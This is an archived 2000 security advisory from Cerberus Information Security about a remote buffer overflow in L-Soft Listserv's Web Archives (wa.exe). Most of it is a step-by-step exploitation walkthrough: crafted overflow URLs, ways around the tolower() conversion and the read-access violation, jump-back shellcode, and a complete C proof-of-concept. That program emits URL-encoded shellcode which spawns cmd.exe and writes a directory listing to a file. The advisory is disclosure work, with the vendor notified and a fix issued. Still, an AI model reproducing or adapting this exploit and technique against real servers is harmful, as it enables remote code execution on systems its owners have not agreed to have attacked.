OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
Subject: Alert: Listserv Web Archives (wa) buffer overflow
From: Cerberus Security Team (CTSCERBERUS-INFOSEC.CO.UK)
Date: Wed May 03 2000 - 17:23:55 CDT


Cerberus Information Security Advisory (CISADV000503)
http://www.cerberus-infosec.co.uk/advisories.shtml

Released : 3rd May 2000
Name : Listserv Web Archives Buffer Overflow
Affected Systems : *nix/Win32 Web Servers running
Issue : Attackers can remotely execute arbitrary code
Author : David Litchfield (mnemonixglobalnet.co.uk)

Description
***********
The Cerberus Security Team has found a remotely exploitable buffer overrun
in Lsoft's (www.lsoft.com) Listserv Web Archive component (wa/wa.exe v1.8d -
this is the most recent version. Earlier versions may be affected.).
Listserv is the world's most popular software package for providing mailing
lists. The Web Archives component allows List owners to make available over
the web mails that have been sent to the mailing list. Both the the Windows
and Unix versions are affected by this overflow. By making a special formed
request to the Web Archive component it is possible to overflow a buffer
allowing arbitrary code to be executed, compromising the web server.

Details
*******
This section specifically looks at the overrun on Windows NT 4 SP6a though
the principle is same on the *nix versions.

As far as exploiting this overrun is concerned there are two hurdles to
overcome. Firstly, the string is tolower()ed - meaning that upper case
letters are converted to lower case eg A -> a. This is a problem because
some opcodes needed in any exploit code will squashed. For example the "push
ebp" instruction is 55h - which is also the hex code for the uppercase
letter "U". Due to the tolower()ing this will be converted to 75h - making
it no longer the "push ebp" instruction.

The second problem is that when the buffer is overflowed, overwriting the
saved return address, before the ret(urn) is called a simple read access
violation occurs:

"The instruction at address 0x00427FC3 tried to read memory at 0x61616161"

This happens because one of the instructions called before the ret(urn) is

mov edi,dword ptr[ebp-14h]

This tells the processor to move into the EDI register the address pointed
to by the stack base pointer (EBP) minus 20 bytes. Due to the overflow, the
value found at this address is now 0x61616161 (Remember, even though we've
used upper case As to overflow the buffer they're converted to the lowercase
"a" hence instead of there being 0x41414141 at this address it is
0x61616161)

A few instructions after this has been moved into the EDI there is

cmp byte ptr[edi],0

This will compare the value pointed to by the EDI register with 0. As the
address in the EDI is 0x61616161 the processor goes to that address to get
the value stored there to compare it with 0 but when it gets there it finds
that the memory here has not been initialised. Hence the access violation.

http://charon/scripts/wa.exe?A1=foobar&L=AAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA

To workaround this problem we have to insert into overflow string an address
where the memory _is_ intialized - that is where a value can be found at
that address. We know kernel32.dll _will_ be loaded into the address space
of the process (it always is in any process on NT) so for safety's sake
we'll insert into the overflow string an address smack bang in the middle of
kernel32.dll.

This way when the

mov edi,dword ptr[ebp-14h]
..
cmp byte ptr[edi],0

instructions are called we won't get the access violation. After a bit of
trial and error we find that we need to set bytes 392,391,390 and 389 in our
overflow string to an address where kernel32.dll is loaded. We'll get away
with only having to set the more significant part of the address - ie bytes
392 and 391 so we set these to %77 and %f3.

When we have done this we try the overflow string again.

http://charon/scripts/wa.exe?A1=foobar&L=AAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA%f3%77AAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAA

Bang! We now get the overflow we've been looking for:

The instruction at 0x61616161 referenced memory at 0x61616161. This means
we've gained control of the program's execution and we can direct it to
where we want it to go to find the next instruction to execute. At this
stage there's still a fairly long to go and there's no guarantee we will be
able to exploit this due to the tolower()ing.

First off we need find out what we have to work with. On debugging after the
overflow we can see that the tail end of our overflow string can be found at
the stack pointer - the ESP. So all we need to do is find an address in
memory we there's a "jmp esp" or "call esp" instruction. This way if we
overwrite the saved return address with such an address where we can find
one of these instructions the processor will jump down to the ESP and start
executing downwards from there.

As you'll see though the tail of our exploit string is the tolower()ed
version. We'll need to find if there is any occurence of our overflow string
in memory that hasn't gone through the tolower()ing process. None of the
registers point to anything useful so doing a manual search we eventually
find our pristine string at address 0x00205370.

If we can get back to this address somehow we'll be able to get a decent
working exploit out of this. The easiest way to get there is to jump to it.

What we could do then is write and embed a wee bit of code in the overflow
string that ends up at the ESP which will jump us to address 0x00205370
where we'll place our main bit of code making giving our overflow string the
following format:

main-code-goeshere-padding-readableaddress-padding-code-that'll-jump-us-to-t
he-beginning-of-this-string

The only problem is this bit of code that'll jump us to where we really want
to go to cannot have any byte that'll be tolower()ed and on top of this the
address we need to get back to has a NULL in it.

As far as the NULL is concerned, this is easily resolved - we only have to
subtract a number A by a number B to give us 0x00205370 eg:

0xFFFFFFFF - 0xFFDFAC8F = 0x00205370

We can mov 0xFFFFFFFF into a register and simply sub(tract) from it
0xFFDFAC8F and be left with the address we need to jump to.

mov edi, 0xFFFFFFFF
sub edi, 0xFFDFAC8F
jmp edi

This is the code we need - but is there any character that will be
tolower()ed?

ba ff ff ff ff
81 ea 87 ac df ff
ff e2

Looking at the byte info of the opcodes we can see that none of them will be
tolower()ed. Cool. So now we've managed to get back to the beginning our
unadulterated overflow string. It is here we'll place our main bit of
exploit code. The sample code here is "proof of concept" only and will
simply create a file called "cerberus.txt". More useful code is left as
excercise of the imagination of the reader.

/////////////////////////////////////////////////////////////////
//
//
// LSOFT's Listserv web archives wa.exe buffer overflow
//
//
// This is "proof of concept code" and will spawn a shell
// perform a directory listing and redirect the output
// to a file called "cerberus.txt". Will work on Windows NT 4
// SP6a
//
//
// David Litchfield (mnemonixglobalnet.co.uk)
//
// 1st May 2000
//
//
// Cut and paste the output into your web browser.
//
/////////////////////////////////////////////////////////////////

#include <stdio.h>
int main()
{
 unsigned char exploit[2000]="";
 int count = 0;

 while(count <100)
  {
   exploit[count]=0x90;
   count ++;
  }

 // push ebp
 exploit[count]=0x55;
 count ++;

 // mov ebp,esp
 exploit[count]=0x8B;
 count ++;
 exploit[count]=0xEC;
 count ++;

 // mov eax, 0x77f1a986
 exploit[count]=0xb8;
 count ++;
 exploit[count]=0x86;
 count ++;
 exploit[count]=0xa9;
 count ++;
 exploit[count]=0xf1;
 count ++;
 exploit[count]=0x77;
 count ++;

 // mov ebx, 0xffffffff
 exploit[count]=0xbb;
 count ++;
 exploit[count]=0xff;
 count ++;
 exploit[count]=0xff;
 count ++;
 exploit[count]=0xff;
 count ++;
 exploit[count]=0xff;
 count ++;

 file://sub ebx, 0xffffff8B
 exploit[count]=0x83;
 count ++;
 exploit[count]=0xeb;
 count ++;
 exploit[count]=0x8B;
 count ++;

 // push ebx
 exploit[count]=0x53;
 count ++;

 // push "xt.s"
 exploit[count]=0x68;
 count ++;
 exploit[count]=0x73;
 count ++;
 exploit[count]=0x2e;
 count ++;
 exploit[count]=0x74;
 count ++;
 exploit[count]=0x78;
 count ++;

 file://push "ureb"
 exploit[count]=0x68;
 count ++;
 exploit[count]=0x62;
 count ++;
 exploit[count]=0x65;
 count ++;
 exploit[count]=0x72;
 count ++;
 exploit[count]=0x75;
 count ++;

 file://push "rec "
 exploit[count]=0x68;
 count ++;
 exploit[count]=0x20;
 count ++;
 exploit[count]=0x63;
 count ++;
 exploit[count]=0x65;
 count ++;
 exploit[count]=0x72;
 count ++;

 file://push "> ri"
 exploit[count]=0x68;
 count ++;
 exploit[count]=0x69;
 count ++;
 exploit[count]=0x72;
 count ++;
 exploit[count]=0x20;
 count ++;
 exploit[count]=0x3e;
 count ++;

 file://push "d c/"
 exploit[count]=0x68;
 count ++;
 exploit[count]=0x2f;
 count ++;
 exploit[count]=0x63;
 count ++;
 exploit[count]=0x20;
 count ++;
 exploit[count]=0x64;
 count ++;

 file://push " exe"
 exploit[count]=0x68;
 count ++;
 exploit[count]=0x65;
 count ++;
 exploit[count]=0x78;
 count ++;
 exploit[count]=0x65;
 count ++;
 exploit[count]=0x20;
 count ++;

 file://push "cmd."
 exploit[count]=0x68;
 count ++;
 exploit[count]=0x63;
 count ++;
 exploit[count]=0x6d;
 count ++;
 exploit[count]=0x64;
 count ++;
 exploit[count]=0x2e;
 count ++;

 file://mov ebx, esp
 exploit[count]=0x8b;
 count ++;
 exploit[count]=0xdc;
 count ++;

 file://xor esi, esi
 exploit[count]=0x33;
 count ++;
 exploit[count]=0xf6;
 count ++;

 file://push esi
 exploit[count]=0x56;
 count ++;

 file://push ebx
 exploit[count]=0x53;
 count ++;

 file://call eax
 exploit[count]=0xff;
 count ++;
 exploit[count]=0xd0;
 count ++;

 // set a break point (int 3)
 while(count <420)
  {
   exploit[count]=0xCC;
   count ++;
  }

 // overwrite the return address

 exploit[count]=0x36;
 count ++;
 exploit[count]=0x28;
 count ++;
 exploit[count]=0xf3;
 count ++;
 exploit[count]=0x77;
 count ++;

 // put in 40 nops (0x90)

 while (count < 464)
  {
   exploit[count]=0x90;
   count ++;
  }

 // write our code that'll get us back into our un-tolower()ed string

 // move edx, 0xFFFFFFFF
 exploit[count]=0xBA;
 count ++;
 exploit[count]=0xFF;
 count ++;
 exploit[count]=0xFF;
 count ++;
 exploit[count]=0xFF;
 count ++;
 exploit[count]=0xFF;
 count ++;

 // sub edx, 0xFFDFAC87
 exploit[count]=0x81;
 count ++;
 exploit[count]=0xEA;
 count ++;
 exploit[count]=0x87;
 count ++;
 exploit[count]=0xAC;
 count ++;
 exploit[count]=0xDF;
 count ++;
 exploit[count]=0xFF;
 count ++;

 // jmp edx
 exploit[count]=0xFF;
 count ++;
 exploit[count]=0xE2;
 count ++;

 // set readable part in memory to stop first AV

 exploit[390]=0x36;
 exploit[390]=0xf3;
 exploit[391]=0x77;

 count = 0;
 while(count < 477)
  {
   printf("%%%x",exploit[count]);
   count ++;
  }

 return 0;
}

Solution
********
Lsoft has alerted their customers and have made avaiable a update that will
fix this.

A check for this has been added to our security scanner, CIS. More details
about CIS can be found on our web site:
http://www.cerberus-infosec.co.uk/

Vendor Status
*************
Lsoft were alerted to this on the the 28th April 2000 and worked over the
holiday to fix this. Cerberus would like to thank everyone involved for
their prompt response.

About Cerberus Information Security, Ltd
*****************************************
Cerberus Information Security, Ltd, a UK company, are specialists in
penetration testing and other security auditing services. They are the
developers of CIS (Cerberus' Internet security scanner) available for free
from their website: http://www.cerberus-infosec.co.uk

To ensure that the Cerberus Security Team remains one of the strongest
security audit teams available globally they continually research operating
system and popular service software vulnerabilites leading to the discovery
of "world first" issues. This not only keeps the team sharp but also helps
the industry and vendors as a whole ultimately protecting the end consumer.
As testimony to their ability and expertise one just has to look at exactly
how many major vulnerabilities have been discovered by the Cerberus Security
Team - over 70 to date, making them a clear leader of companies offering
such security services.

Founded in late 1999, by Mark and David Litchfield, Cerberus Information
Security, Ltd are located in London, UK but serves customers across the
World. For more information about Cerberus Information Security, Ltd please
visit their website or call on +44(0)208 395 4980.

Permission is hereby granted to copy or redistribute this advisory but only
in its entirety.

Copyright (C) 2000 by Cerberus Information Security, Ltd